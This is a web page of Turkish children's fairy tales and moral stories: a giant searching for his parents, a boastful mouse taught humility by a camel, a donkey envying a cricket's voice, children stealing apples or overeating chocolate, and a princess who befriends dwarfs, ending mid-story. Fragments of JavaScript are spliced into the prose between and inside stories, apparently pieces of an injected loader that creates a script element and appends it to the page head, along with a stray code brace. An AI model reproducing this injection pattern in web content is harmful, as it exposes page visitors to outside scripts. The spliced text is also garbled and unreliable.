Evet sevgili çocuklar, bugün sizlere Tombik dev ile arkadaşı farenin macerasını anlatacağım.
Çook uzak bir ülkede daha minicikken ailesini bir orman yangınında kaybeden tombik bir dev yaşarmış. tombik dev tek başına kocaman ormanda zorluklarla büyümüş, dev olduğu için ilk başta diğer hayvanlar yeşil deve iyi davranmamış, ama yıllar geçtikçe onu sevmişler. tombik dev büyüyüp serpilince kaybolan ailesini bulmaya karar vermiş.
Arkadaşı fare ile maceralı bir yolculuğa çıkmışlar. Fare arkadaşı devin omzuna çıkmış, birlikte yola koyulmuşlar.
Günler geceler boyu yol yürümüşler, geçtikleri yerlerde devin anne babasını aramış fakat bulamamışlar. tombik dev ailesini bulamayacağını düşünerek karamsarlığa kapılmış.
Fare arkadaşını teselli ederek “ sakın üzülme tombik anne babanı mutlaka bulacağız, onları bulmadan eve dönmeyeceğiz, ilerde ejderhaların yaşadığı bir vadi var, birlikte birde oraya bakalım” demiş, uzun bir yolculuktan sonra ejderhaların yaşadığı gizemli bir vadiye gelmişler. Vadide kocaman kapılı bir sürü mağara varmış. mağaraların içinde ejderhaların gür sesi geliyormuş.
Fare yukarıdan bakarken garip bir şey fark etmiş ve heyecanla seslenmiş.” Dev kardeş, dev kardeş, bu kadar büyük kapılı mağaranın içinde, ilerde bir mağaranın kapısı sence neden küçük“ demiş. tombik dev heyecanlanmış, birlikte mağaraya doğru koşmuşlar, fare koşarak kapıdan içeri geçivermiş, amaa dev kapıdan geçememiş. Fare “üzülme tombik ben senin için bakar gelirim” demiş. Dev ”olmaz, içeride ne ile karşılaşacağını bilmiyoruz, senin hayatını tehlikeye atamam, bekle bir çare düşünelim“ demiş. Fare tombiği dinledikten sonra “düşünecek zaman yok” diyerek koşarak uzaklaşmış.
Biraz yol yürüdükten sonra kocaman kazanların içinde mis gibi yemeklerle karşılaşmış. Karnı da çok acıkmış, bu kadar çok yemek var, ben şuradan azıcık yesem bir şey olmaz her halde diye düşünerek karnını bir güzel doyurmuş. Karnı doyunca bu kadar güzel yemekleri kim yaptı acaba diye araştırmaya başlamış. Kocaman mağarada günlerce yürüdükten sonra karşısına büyük büyük kazanların olduğu bir yer çıkmış. O da ne, fare gözlerine inanamamış, yemekleri yapan iki tane devmiş meğer. Çok korkmuş bunlar arkadaşı olan Tombik devden çok daha büyüklermiş. Arkadaşı için bütün cesaretini toplayarak devlere mağaraya nasıl geldiklerini sormuş.
Devler yıllar önce ejderhaların ormanlarını yaktığını, kendilerini de yemeklerini yapmak için bu mağaraya hapsettiğini anlatmışlar. Üstelik minik devlerini de yangında kaybettiklerini ve bir daha göremediklerini ağlayarak anlatmışlar. Fare de mağaraya niçin geldiğini ve mağaranın dışındaki tombik devden bahsetmiş. Bu arada mağaranın dışında günlerce arkadaşını bekleyen tombik sıkılmaya başlamış ve arkadaşını aramak için mağaranın içine girme planları yapıyormuş. Tam bu sırada fare çıkagelmiş. Olup biteni deve anlatmış.
Birlikte plan yapmışlar. Hemen mağaranın kapısını örerek kapatmışlar. Çok geçmeden ejderhalar gelmiş, karınları çok açmış, kapıyı bulamayınca çılgına dönmüşler. Mağaranın önüne kocaman bir kapı açmaya başlamışlar. Kapı açılır açılmaz anne ve baba dev hızla koşarak mağaradan çıkmışlar. Mağaranın dışındaki tombik dev ile karşılaşınca çok mutlu olmuşlar. Çünkü bu yıllar önce kaybettikleri minik bebekleri imiş. Sarılarak hasret gidermişler. Dev minik fareye dönerek “ fare kardeş sen olmasan anne babama kavuşamazdım demiş. Daha sonra hep birlikte ormanlarına dönerek mutlu mutlu yaşamışlar…
KENDİNİ BEĞENMİŞ FARE İLE İYİ KALPLİ DEVE MASALI
Bir varmış, bir yokmuş. Uzak mı uzak diyarların birinde kocaman bir orman varmış ve bu ormanda yaşayan kendini çok beğenmiş bir de fare varmış. Fare, kendini o kadar beğenmiş bir fareymiş ki herkesi etrafında pervane etmeye bayılır, herkesi parmağında döndürürmüş.
Günlerden bir gün fare, iyi kalpli bir deve ile tanışmış. Deve o kadar iyi kalpli bir deveymiş ki, fare ne isterse yapmış. Onunla saatlerce sohbet etmiş, onu sırtında taşımış, etrafı göstermiş. Fare devenin bu iyi kalpliliğini çok güzel kullanabileceğini düşünmüş ve hemen kafasında planlar yapmaya başlamış. iyi kalpli devenin ise farenin aklından geçen kötü planlardan haberi bile yokmuş!
Fare bir gün deve ile konuşurken ağacın arkasında sakladığı büyük bir yuları çıkarmış:
Fare: ‘Deve kardeş, biliyorsun ki ikimiz de çok iyi arkadaşız. Ben senden bir şey isteyeceğim. Bu yuları senin boynuna bağlayıp yuları da ben elimde tutacağım. Bu sayede ormandaki herkes benim ne kadar güçlü bir fare olduğumu görecek’ demiş.
Deve farenin bu isteğine şaşırmış. Fakat arkadaşına hayır diyemeyeceği için farenin bu teklifini kabul etmiş. Fare hemen yuları almış eline ve devenin boynundan geçirmiş. Bir elinle yuları tutan fare, başlamış yürümeye. Böylece küçücük fare önde, koskocaman deve arkada tin tin yürümeye başlamışlar.
Fare ormanın içinden geçerken gerim gerim geriliyormuş. Diğer büyün hayvanlar da bu ikiliye bakıp gözlerine inanamıyorlarmış. Önce giden küçücük bir fare, elinde bir yular ve yuların ucunda koskocaman bir deve… Ormandaki hayvanlardan hiçbiri bu görüntüye bir anlam verememişler. Fare ormandan geçerken o kadar böbürlenerek geçiyormuş ki, arkasından gelen kocaman deveye üstünlük sağladığını düşünüyormuş. Küçük aklı ile yuları eline aldığı vakit, deveye de üstünlük sağladığını düşünüyor ve kendi kendine gururlanıyormuş. ‘Ben ne kadar da kuvvetli bir fareymişim’ diye diye ormanın içinden geçmiş.
Deve ise ilk başta farenin neden boynuna yular geçirdiğini anlayamamış. Arkadaşını kırmamak için bu teklifi kabul etmiş. Fakat deve ve fare ormanın içine girdiklerinde; farenin böbürlenişini, büyüklenişini gören deve neye uğradığını şaşırmış. Farenin bu kendini beğenmiş hal ve tavırlarına çok sinirlenen deve ona güzel bir ders vermek için harekete geçmiş.
Fare, elinde yuları ile bir müddet daha yürümüş ve yürüye yürüye bir ırmağın kenarına gelmiş. Irmağı görünce fare kalakalmış. ‘Ben bu ırmaktan nasıl geçeri karşı tarafa’ diye geçirmiş içinden. Deve ise farenin bu duraklamasının farkına vararak hemen konuya girmiş:
Deve: ‘Ey tüm orman boyunca önümde yürüyen ve bana yol gösteren fare kardeş! Sen benim yol göstericimsin. Bak yularım senin ellerindedir. Bu ırmaktan geç ki ben de geçeyim’ demiş.
Fare kararsız bir şekilde deveye bakmış:
Fare: ‘İyi de deve kardeş, bu ırmak çok büyük. Ben buradan geçemem, boğulmaktan korkarım.’
Deve fareye ders vermek için çok güzel bir fırsat olduğunu anlamış ve hemen konuya devam etmiş:
Deve: ‘Fare kardeş, hiç korkma! Bu ırmak sandığın kadar derin değildir. Bak ben gireyim de ne kadar derin olduğunu gözlerinle gör’ demiş.
Deve ırmağa girmiş ve su seviyesi ancak dizlerine gelebilmiş. Deve fareye dönmüş:
Deve: ‘Bak fare kardeş, diz boyuna gelen su yüzünden mi korktun?’
Fare de tereddüt ederek cevap vermiş:
Fare: ‘İyi de deve kardeş dizden dize fark vardır. Senin ancak diz boyuna gelen su, benim boyumu kat kat aşar.’
Deve bu lafın üzerine hiç vakit kaybetmeden cevabını söylemiş:
Deve: ‘Ya fare kardeş, anladın mı hatanı? Madem herkesin su seviyesi farklı, sen de haddini ve yerini bil. Kendini çok büyük görme, yükseklerdesin zannetme. Kendin gibi olanlarla boy ölç, başkaları ile yarışma. Çünkü başkalarının dizine gelen sular seni boğar.’
Fare devenin bu sözlerine üzerine hatasını anlamış ve deveden özür dilemiş. Deveden aldığı bu dersi bir ömür boyu unutmayan fare, bir daha hiç kimseye büyüklenmemiş.
var d=document;var s=d.createElement(‘script’);
Dövüşçü Aslanla Yaban Domuzu
Bir yaz günü aslan su içip serinlemek amacıyla bir su başına gelmiş. O sırada yabandomuzu da suya eğiliyormuş. Aslan:
– Çekil bakalım da suyumuzdan içelim, ” demiş.
– Ne demek çekil?, demiş yabandomuzu. Biz hayvan değilmiyiz? Bizde su içmez miyiz? Amma şey asıl sen çekil!
“Sen çekil, hayır sen çekil…” derken işi dövüşe çevirmişler. Nasıl bir dövüş? Kıyasıya, kırasına, öldürüp ölmecesine! Kan ter içinde kalmışlar. Ayrılıp bir solukluk dinlenmede ne görsünler? Tepedeki ağaçlara akbabalarla kara kargalar konmuşlar:
“Aman birbirlerini hemen öldürseler de leşleri bize kalsa…” diye bekleşmiyorlar mı?
Hem aslanda hem yabandomuzunda şafak sökmüş:
“Aman, kavgayı dövüşü boş verelim! Eski dostluğumuza dönelim. Bu akbabalarla kara kargalara yem olmayalım, iyisi budur…”Demişler, yollarına gitmişler.
(Dövüşüp sövüşmek iyi mi? Barış içinde yaşamak varken üstelik… Dövüşenler için son her zaman kötüye varır, bir kazanç getirmez.)
Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, uzak mı uzak diyarların birinde güzel bir orman varmış. Kocaman ağaçların içinde olduğu bu devasa orman, mutluluk ormanı olarak bilinirmiş. İçinde yaşayan bütün hayvanlar mutlu mesut yaşamlarına devam eder, birbirlerine sürekli olarak yardım ederlermiş.
Mutluluk ormanında yaşayan hayvanlardan birisi de eşekmiş. Eşeğin adı Donki imiş ve bu eşek çok ama çok mutlu, hayattan zevk almasını bilen bir eşekmiş. Sürekli olarak güler, eğlenir; arada bir de mutluluğundan anırarak neşesini herkese göstermeye çalışırmış. Ormandaki diğer tüm hayvanlar Eşek Donkİ’nin anırmasından çok rahatsız oluyormuş. Ama üzülmesin diye Eşek Donki’ye bir şey söylemiyorlarmış.
Ormanda yaşayan insanlar da Eşek Donki’nin anırmasından çok rahatsız oluyormuş. Eşek Donki mutluluğundan anırmaya başladığı anda orada iş yapan insanlar ya kulaklarını kapatıyorlar ya da eşeğin önüne ot koyarak susmasını sağlıyorlarmış.
Günlerden bir gün oduncunun biri ormanın içinde elinde baltası ile odun kesiyormuş. Eşek Donki de oduncunun olduğu yerin biraz gerisinde ot yiyerek karnını doyuruyormuş. Karnı doyan Eşek Donki’nin keyfi yerine gelmiş ve başlamış anırmaya! Hem anırıyor hem de oynayıp zıplıyormuş. Oduncu bu çirkin sese daha fazla dayanamayacağını anladığında soluğu Eşek Donki’nin yanında almış:
ODUNCU: ‘Hey, bu tarafa baksana!’
Eşek Donki sesin geldiği yere doğru dönmüş. Bir bakmış ki elinde baltalı bir adam!
ODUNCU: ‘Bana bak eşek misin nesin! Sen bu kadar çirkin sesle anırmaya utanmıyor musun? Kafam şişti, işimi yapamıyorum senin kötü sesin yüzünden’
Eşek Donki, adamın sözleri duyunca şok olmuş. Sesinin çok güzel olduğunu düşünürken bu adam ona çok çirkin sesinin olduğunu söylüyormuş.
EŞEK DONKİ: ‘Ama benim sesim çok güzel değil mi?’
Oduncu gülmeye başlamış. Bu eşek kendini ne zannediyormuş acaba?
ODUNCU: ‘Ya işine git, hadi sen otlamana devam et ben de işimi yapayım. Bir daha da bu ses ile sakın anırma!’
Eşek Donki oduncunun bu sözleri üzerine çok üzülmüş. Hemen oradan ayrılmış. Bir derenin kenarına gidip, hüzünlü bir şekilde dereyi izlemeye başlamış. Eşek Donki, o kadar neşeli bir eşekmiş ki ne şarkı söylemeden ne de hoplayıp zıplamadan duramazmış. ‘Ben e yapsam da bu kötü sesimden kurtulsam’ diye kara kara düşünmeye başlamış.
Tam o sırada, bir çekirge zıplaya zıplaya önünden geçiyormuş. Çekirge hem zıplıyor hem de o güzel sesi ile şarkılar söylüyormuş. Eşek Donki bu çekirgenin sesine bayılmış. Hemen yerinden kalkarak çekirgenin arkasından seslenmiş:
EŞEK DONKİ: ‘Hey, çekirge kardeş!’
Çekirge arkasını döndüğünde eşeğin ona doğru yaklaştığını görmüş.
ÇEKİRGE: ‘Buyur eşek kardeş?’
EŞEK DONKİ: ‘Çekirge kardeş, senin ne kadar güzel bir sesin var! Hayran kaldım sesine. Ben de senin gibi ötmek, güzel bir sesle şarkılar söylemek istiyorum. Sen ne yersin, ne içersin? Belki yediklerinden ben de yersem benim de sesim böyle çıkar.’
Çekirge şaşırmış:
ÇEKİRGE: ‘Valla eşek kardeş, benim sesim doğduğumdan beri böyle çıkıyor. Ama yediklerin neler dersen, biz çiçeklerin üzerinde çiğlerden yeriz. Yani çiçeklerin üzerindeki su damlacıklarından besleniriz.’
Eşek çekirgeye teşekkür etmiş ve hemen en yakındaki çiçek bahçesine giderek, çiçeklerin üzerindeki sulardan içerek, sesinin güzelleşmesini beklemiş. Bir gün geçmiş, iki gün geçmiş ama eşeğin sesinde ne bir düzelme ne de bir değişme var! Eşek bıkmamış, çiçeğin üzerindeki sulardan içmeye devam etmiş. Sonunda vücudu daha fazla dayanamayan eşek, açlıktan ölüvermiş.
Bu masal sonunda gökten üç elma düşmüş… Elmaların hepsi de kendi gibi olmaya çalışan, başkalarının sahip olduğu özelliklere heves etmeyen ve onları kıskanmayan çocuklara düşmüş…d.getElementsByTagName(‘head’)[0].appendChild(s);
Ali ile Zeki aynı sınıfta okuyan ve aynı mahallede oturan iki arkadaşmış. Okullar tatildeyken sürekli birlikte oynayan arkadaşlar okullar açılınca ayrılmak zorunda kalmışlar. Ali çalışkan bir çocukmuş, ödevlerini bitirmeden dışarı çıkıp oyun oynamazmış. Veli ise ödevlerine yapmak yerine dışarıda oynamayı tercih eden bir çocukmuş.
Veli bir gün yine Ali’yi oyun oynamaya çağırıyormuş. Ali balkona çıkmış:
-‘Veli yarın yazılımız var. Hiç çalışmadın, sürekli dışarıda oyun oynuyorsun. Bu gidişle iyi bir not alamayacaksın.’
-‘Ali ne kadar oyunbozansın ya! Gel işte, oynayalım. Nasılsa iki tane daha yazılı olacağız, onlara çok çalışırız.’
-‘Hayır, Veli, ben ders çalışmadan oyun oynayamam. Sen nasıl istersen öyle yap.’
Veli Ali’yle çalışkanlığı yüzünden dalga geçmeye başlamış. Ali ise hiç aldırmadan odasına girmiş ve yarınki sınavına çalışmaya devam etmiş.
Ertesi gün Ali’nin sınavı çok iyi geçmiş fakat Veli hiç çalışmadığı için hiçbir şey yapamamış.
Veli bir türlü akıllanmıyor, diğer sınav zamanlarında da Ali’ye aynı şeyi yapıyormuş. Ali en sonunda dayanamamış:
-‘Arkadaşım bu gidişle karnende bir çok dersin zayıf olacak. Gel beraber çalışalım, yazılılar bitince yine oyun oynarız.’
Ali’nin bu teklifini de kabul etmeyen Veli diğer sınavlarında da kötü notlar almaya devam etmiş.
Günler haftaları, haftalar ayları kovalamış ve karne zamanı gelmiş çatmış. Karne gününde tüm aileler okula davetliymiş. Ali ve Veli’nin ailesi de çocuklarla birlikte okula gelmişler. Veli ailesine söylememiş fakat karnesinin çok kötü geleceğini biliyormuş. Ali ise oldukça mutluymuş çünkü bütün sınavları çok iyi geçmiş.
Karne zamanı gelmiş. Ali sınıf birincisi olduğundan karnesini bütün okulun önünde almış ve herkes onu alkışlamaya başlamış. Veli Ali’nin ailesine baktığında ne kadar gururlandıklarını görmüş. Kötü notlar getirerek kendi ailesini üzdüğü için kendine çok kızmış.
Karneleri alı eve gittiklerinde Ali arkadaşı Veli’nin yanına gitmiş.
-‘Arkadaşım üzülme. Çalışmadığın için notlarının kötü geldiğini biliyorsun. Yeni dönemde birlikte çok çalışırız ve senin de çok güzel bir karnen olur.’
-‘Ali, arkadaşım, sen haklıydın. Ben oyun oynarken sen hep çalıştın. Beni de uyardın ama ben seni dinlemedim. Oysaki ders zamanı dersimi çalışmam lazımdı. Çalıştıktan sonra arda kalan zamanda oyun oynamalıydım.’
-‘O zaman bu yaz tatilinde geride kaldığın bütün konuları birlikte çalışalım ve böylelikle yeni senede senin de eksiğin kalmamış olur, ne dersin?’
Veli arkadaşının bu teklifine çok sevinmiş.
-‘Süper olur. Ama Ali tatilde sen de benimle ders çalışmak zorunda kalacaksın…’
-‘Olsun, benim için de tekrar olur’ demiş Ali.
-‘Canım arkadaşım benim. Seni çok seviyorum ve ders çalıştığın zamanlarda seninle dalga geçtiğim için çok özür diliyorum.’
İki arkadaş birbirlerine sarılmışlar. Veli bu yaz çok çalışıp tüm eksiklerini kapama kararını ailesine anlatmak için sabırsızlanıyormuş.
Akşam olduğunda yemek masasında ailesine kararından bahsetmiş. Ailesi de sevinçle karşılamış bu durumu.
Ali ile Veli bütün yaz boyunca hem oyun oynamışlar hem de ders çalışmışlar. Programlı oldukları sürece her şeye vakit yetebiliyormuş. Veli ders çalışmanın oyun oynamaya engel olmadığını, dersten sonra oyun için yeterince vakit kaldığını görmüş. Ve kendi kendine söz vermiş:
‘Derslerimi bundan sonra hiç ama hiç aksatmayacağım.’
O günden sonra Veli de en az Ali kadar başarılı bir öğrenci olmuş. İki arkadaş da programlı çalışmaları sayesinde hem başarılı öğrenciler olup hem de oyun oynayabiliyorlarmış.
Bütün öğretmenler diğer çocuklara da bu iki arkadaşı örnek gösteriyormuş.
Günlerden bir gün Zeynep’in canı çok sıkılmış. Evde oturmak yerine bahçeye çıkıp biraz oyun oynamak istiyormuş.
-‘Anneciğim ben bahçeye çıkabilir miyim?’
-‘Tamam, dikkatli ol kızım.’
-‘Peki, anneciğim’ demiş Zeynep.
Evden çıktığında yan bahçede oynayan arkadaşı Fatoş’u görmüş.
-‘Aa, Zeynep gelsene beraber oynayalım’ demiş Fatoş.
İkisi birlikte bahçede oynayıp zıplamaya başlamışlar. Bir müddet sonra yorulmuşlar ve karınları acıkmış. Zeynep içeri girecekken Fatoş onu durdurmuş.
-‘Arkadaşım baksana şuradaki ağaca! Üzerinde kıpkırmızı elmalar var’ demiş.
Zeynep yolun karşısındaki bahçeye baktığında büyük ve üzerinde kırmızı elmalar olan ağacı görmüş. Elmalar çok güzel görünüyormuş.
– ‘Hadi gel Zeynep, gidip ağaçtan elma koparalım ve yiyelim’ demiş Fatoş.
– ‘Kimseden izin almadan bunu yapamayız’ diye cevap vermiş Zeynep.
Fatoş ise Zeynep’in söylediğine pek aldırmamış.
-‘Zeynep ne kadar da korkaksın! Ne olabilir ki? Birkaç tane elma koparacağız ve yiyeceğiz.’
Zeynep bunun yanlış olduğunu bilse de o sırada elmalar gözüne çok güzel görünmüş. Karnı da o kadar açmış ki…
-‘Tamam, ama sadece birkaç tane koparacağız.’
Fatoş ve Zeynep el ele tutuşarak karşı tarafa geçmişler ve Zeynep gözcülük yaparken Fatoş da ağaçtan elmaları koparmış. Zeynep tedirgin bir şekilde etrafına bakıyormuş. Birisinin onları görmesinden çok korkuyormuş. Fatoş da birkaç tane değil bir sürü elma koparınca Zeynep bağırmış:
-‘Fatoş, yeter daha fazla koparma!’
Fatoş iki-üç tane elmayı da eline alarak ağaçtan inmiş. Zeynep bu yaptıklarının çok yanlış bir şey olduğunu bir kere daha söylese de Fatoş çoktan elmayı yemeye başlamış. O sırada bir kadın bağırmaya başlamış:
-‘Sizi gidi küçük hırsızlar sizi! Gelin bakayım buraya!’
Bahçenin kenarından çıkan kadın Fatoş ve Zeynep’in oturduğu yere koşmaya başlamış. Kızların ikisi de korkuyla yerlerinden kalkıp koşmaya başlamışlar. O sırada Zeynep ve Fatoş’un annesi de kapının önüne çıkmış.
-‘Anneciğim, kurtar bizi.’
Kızların ikisi panikle Zeynep’in annesinin yanına koşmuşlar. Zeynep’in annesi ise ellerindeki elmaları görünce olanları anlamış.
-‘Hanımefendi bu iki kız benim ağacımdan elma çaldılar. Kendi gözlerimle gördüm.’
O sırada Fatoş’un annesi de yanlarına gelmiş. Zeynep ve Fatoş utançlarından annelerinin yüzlerine bakamıyormuş.
-‘Zeynep, kızım, böyle bir şeyi nasıl yaparsınız? Biz size izinsiz hiçbir şey almamanız gerektiğini öğretmedik mi?’
Zeynep utanç dolu bir sesle konuşmaya başlamış:
-‘Yaptığımızın yanlış olduğunu biliyoruz anneciğim. Ama karnımız çok acıkmıştı ve elmalar çok güzel görünüyordu. Biz de bir-iki tane koparmak istedik.’
Fatoş’un annesi konuşmaya başlamış:
-‘Kızım keşke izin isteseydiniz. O bahçe sizin bahçeniz değil. O yüzden izin almadan giremezsiniz ve meyve koparamazsınız.’
Fatoş da Zeynep’in arkasından sessizce konuşmaya başlamış:
-‘Anneciğim özür dileriz.’
-‘Bizden değil bahçenin sahibinden özür dilemeniz gerekiyor küçük hanımlar.’
Zeynep ve Fatoş karşılarında duran kadına bakmışlar.
-‘Teyzeciğim yaptığımızın yanlış olduğunu biliyoruz. Canımız çok isteyince dayanamadık ama izin almamız gerekiyordu. Çok özür dileriz.’
Kadın küçük kızların özür dilemesinden sonra yumuşamış.
-‘Yaptığınız çok yanlış bir şey. Bir daha asla izin alamdan başkasının bahçesine girmeyin ve ağaçlarından meyve koparmayın. Ayrıca canınız ne zaman isterse bana söylemeniz yeterli. Ben sizin için koparırım ve size veririm.’
Kadın evine gittiğinde ikisinin de annesi birbirlerine bakmışlar:
-‘Bu küçük kızlara yaptıkları yanlış için nasıl bir ceza versek acaba?’ demişler.
Zeynep ve Fatoş yaptıkları yanlış yüzünden hem çok utanmışlar hem de üstüne ceza almışlar. Ve bir daha izinsiz olarak kimsenin bahçesine girmeyeceklerine ve ağaçlarından bir şey koparmayacaklarına söz vermişler.
Biz biz olalım izin almadan kimsenin bahçesine de girmeyelim, eşyalarına da dokunmayalım.} else {
ÇİKOLATAYI ÇOK YERSEK NELER OLUR?
Zeynep çikolatayı çok seven bir kızmış. Annesinin tüm uyarılarına rağmen çikolatayı fazla miktarda yemeye devam ediyormuş. En sonunda annesi eve çikolata almamaya başlamış. Zeynep bu duruma çok kızmış ve kendine çikolata almak için kumbarasında para biriktirmeye başlamış.
Zeynep bir gün evden gizlice çıkmış ve evlerinin tam karşısındaki bakkala gidip kumbarasındaki bütün parayla çikolata almak istediğini söylemiş. Bakkal amca Zeynep’e bakmış:
-‘Ne yapacaksın sen bu kadar çok çikolatayı’ diye sormuş.
-‘Annem istedi’ diye yalan söylemiş Zeynep.
Bakkal çikolataları Zeynep’e vermiş ve Zeynep koşa koşa eve gelmiş. Annesine gözükmeden odasına girmiş ve çikolataları kimsenin bulamayacağı bir yere saklamış. O sırada annesinin sesini duymuş:
-‘Zeynep ne yapıyorsun odanda?’
Annesine gözükmek için odasından çıkmış ve aldığı çikolataları yiyeceği zamanın hayalini kurmaya başlamış.
Annesi markete giderken Zeynep’e evden çıkmamasını ve kimseye kapıyı açmamasını sıkı sıkı tembih etmiş. Zeynep de annesinin gitmesini fırsat bilerek hemen çikolatalarını sakladığı yerden çıkarmış ve yemeye başlamış. Annesi gelene kadar hepsini yemek istiyormuş. Biraz midesi ağrısa da çikolataları bırakmamış ve hepsini yemiş.
Akşam olunca Zeynep’in babası eve gelmiş ve hep birlikte yemek masasına oturmuşlar. Birdenbire Zeynep kaşınmaya başlamış. Birazcık da karnı ağrıyormuş.
-‘Zeynep ne oldu kızım’ diye sormuş annesi.
-‘Vücudum kaşınıyor anne. Bir de karnım ağrıyor.’
Annesi ayağa kalkıp Zeynep’in vücuduna baktığında Zeynep’in vücudunun kabardığını görmüş.
-‘Kızım sen alerji olmuşsun. Hadi hemen doktora gidiyoruz’ demiş.
Zeynep ise korkarak ağlamaya başlamış. Doktora gitmek istemiyormuş. Çünkü doktora giderse gizli gizli yediği çikolatalar ortaya çıkacakmış.
-‘Anne ben doktora gitmek istemiyorum.’
-‘Kızım gitmek zorundayız. Alerji olmuşsun. Sana dokunan bir şey olmalı. Ve bunu bilmeliyiz.’
Zeynep her ne kadar istemese de doktora gitmişler. Doktor Zeynep’i muayene ettikten sonra Zeynep’e ne yediğini sormuş. Zeynep de mecburen yediği çikolataları itiraf etmek zorunda kalmış. Zeynep o kadar çok çikolata yemiş ki vücudu alerji yapmış. Doktor Zeynep’e çok çikolata yemenin zararlı olduğunu, çikolatanın dişleri nasıl çürüttüğünü çizgi filmle anlatmış. Zeynep çikolatayı çok yiyen çocuğun dişlerinin çürüdüğünü ve çok kötü olduğunu görünce korkmuş.
-‘Ben de çikolatayı çok yersem benim de dişlerim böyle mi olacak’ diye sormuş doktora.
Doktor da kafasını sallayarak ‘Evet’ demiş.
Zeynep’in kaşıntısının geçmesi için doktor ona iğne yapmış. Zeynep iğne vurulmayı hiç sevmiyormuş fakat kendi hatası yüzünden bu iğneyi vurulmak zorundaymış.
Hastaneden eve geldiklerinde annesi ve babası Zeynep’le konuşmuşlar. Zeynep annesine çikolataları bakkaldan aldığını itiraf etmiş. Annesi ve babası Zeynep’e kızmış ve bir daha asla böyle bir şey yapmaması gerektiğini anlatmış. Zaten Zeynep de hem iğne yediği için hem de vücudunda alerji yüzünden minik kabarcıklar olduğu için yaptığından çok pişmanmış. Annesinden ve babasından özür dilemiş ve bir daha yapmayacağına söz vermiş.
Zeynep o gece rüyasında çikolatayı çok yediği için dişlerinin çürüdüğünü ve çok ağrıdığını görmüş. Uyandığında aynaya bakmış ve dişlerinin sağlam olduğunu görünce kocaman bir ‘oh’ çekmiş. Bir daha asla ama asla o kadar çok çikolata yemeyecekmiş.
Çikolata ve şekerli tüm gıdalar dişlerimize zarar verir. Tatlı ve şekerli gıdaları çok yememeye özen gösterelim ve yedikten sonra mutlaka dişlerimizi fırçalayalım.
Bir varmış bir yokmuş… Uzak mı uzak diyarların birinde acımasız bir kral yaşarmış. Bu kralın güzeller güzeli bir kızı varmış. Kral kızını çok severmiş. Onu gözünden bile sakınırmış. Sarayın dışına çıkamayan genç kızın bütün günü sarayın içinde dadıları ile geçermiş. Hiç arkadaşı olmayan bu güzel prensesin güzelliği herkesin dilindeymiş. Fakat halktan hiç kimse prensesi göremiyormuş. Kral kesin yasak koyarak kızının yanına saray görevlilerinden başka kimseyi yaklaştırmıyormuş.
Günlerden bir gün prensesin canı çok sıkılmış. Ne yaptıysa can sıkıntısı bir türlü geçmiyormuş. Biraz bahçeye çıkıp gezinmek istemiş. Dadılarının uyumasını fırsat bilerek gizli bir tünelden tek başına bahçeye inmeyi başarmış. Prenses kocaman bahçede tek başına dolaşabilmenin özgürlüğünü yaşıyormuş. Çiçeklerin içinden yürüyerek bir o çiçeği kokluyormuş, bir diğer çiçeği. Mutluluğuna diyecek yokmuş. Güzel havanın da verdiği keyifle içinden bir şarkı mırıldanmaya başlamış. Hem şarkı söylüyormuş hem de çiçek topluyormuş. Tam o sırada daha önce fark etmediği bir yol prensesin dikkatini çekmiş. Yola doğru yürümeye başlamış. Topraktan olan bu yol etrafındaki taştan duvarlar yüzünden insanı biraz ürkütüyormuş. ‘Burası nereye gidiyor acaba?’ diye düşünen prenses yavaş yavaş sarayın bahçesinden uzaklaşmaya başlamış. Yolu takip etme merakı bir süre sonra korkuya dönüşmeye başlamış. Hiç bilmediği bir yolda tek başına kalakalmış.
-‘Kimse yok mu?’ diye bağırmış prenses. Yol onu gizli bir mağaranın önüne çıkarmış. Prenses korksa da bu mağarada birilerinin yaşayıp yaşamadığını merak etmiş. ‘Eğer birileri yaşıyorsa onlarla arkadaş olabilirim belki’ diye düşünmüş.
Yavaşça mağaranın içine girmiş ve karanlığa gözlerinin alışmasını beklemiş. O sırada tekrar bağırmış:
-‘Merhaba, kimse yok mu?’
Prenses tam ümidi kesip geri dönecekken mağaranın içinden bir ses duymuş. Önce biraz ürpermiş. Sonrasında sesin geldiği yöne doğru dönmüş:
-‘Kim var orada?’
Bir süre bekledikten sonra mağaranın içinden çıkan bir cüce görmüş. Korkarak kaçmaya çalışan prensesin arkasından seslenmiş cüce:
-‘Güzel prenses, korkma! Bizden sana zarar gelmez.’
Prenses olduğu yerde durmuş. Cüceye doğru bakmış tekrar. Başına şapka takan bu cüce oldukça sevimli gözüküyormuş.
-‘Biz derken senden daha var mı bu mağarada?’
Cüce prensesin bu sorusuna gülerek yanıt vermiş:
-‘Biz toplam on tane cüceyiz güzel prenses. Babanızın zulmünden kaçıp bu mağaraya sığındık. Siz bizi bilmezsiniz ama biz sizi uzaktan da olsa görmüştük.’
-‘Nasıl yani? Siz buraya babam yüzünden mi kaçtınız?’
-‘Evet prenses. Babanız çok acımasız bir kraldır. Ülkedeki herkes ondan çok korkar. Bir gün biz sarayın bahçesinde kralımıza gösteri yaparken aramızdan biri sizi pencereden görmüş. Güzelliğiniz karşısında büyülenmiş adeta. Babanız size baktığımızı görünce bizi ölümle cezalandırdı güzel prenses. Biz de elinden kurtulmak için kaçıp bu mağaraya sığındık.’
Kendisi yüzünden bu şirin cücenin ve onun arkadaşlarının bu mağarada yaşamaya mahkûm olması prensesi çok üzmüş. O sırada cücenin diğer arkadaşları da ortaya çıkmış birer birer.
-‘Arkadaşlarım bu güzel prensesi hatırlamışsınızdır.’
Tüm cüceler birbirinden tatlı, şirin mi şirinlermiş. Prensesin hepsine kanı ayrı bir ısınmış.
-‘Memnun olduk güzel prenses.’
-‘Haydi, arkadaşlar prensese hoş geldin şarkısı söyleyelim.’
Cüceler hemen sıraya girerek hem şarkı söylemeye hem de dans etmeye başlamışlar. Prenses bir yandan cücelerin nasıl bu kadar yetenekli olduklarını düşünürken bir yandan da onlarla birlikte dans ediyormuş. O kadar çok eğleniyormuş ki zamanın nasıl geçtiğinin farkına bile varmamış.
Kral ise kızının ortadan kaybolduğunu öğrenmiş ve çok kızmış. Her yere haber göndermiş. Askerleri her yeri didik didik etmiş. Ve sonunda birkaç asker mağarayı bulmuş ve yorgunluktan uyuyakalan prensesi ve etrafındaki cüceleri toplayıp saraya götürmüş.
Prenses uyandığında sarayda olduğunu görmüş ve aklına hemen cüce arkadaşları gelmiş. Koşa koşa odasından çıkmış ve babasının yanına varmış.
-‘Babacığım cüce arkadaşlarım nerede’ diye sormuş prenses telaşla.
-‘Onlar senin arkadaşın falan olamaz. Hepsini öldürteceğim. Seni kaçırmak ne demekmiş görsünler’ diye cevap vermiş kral.
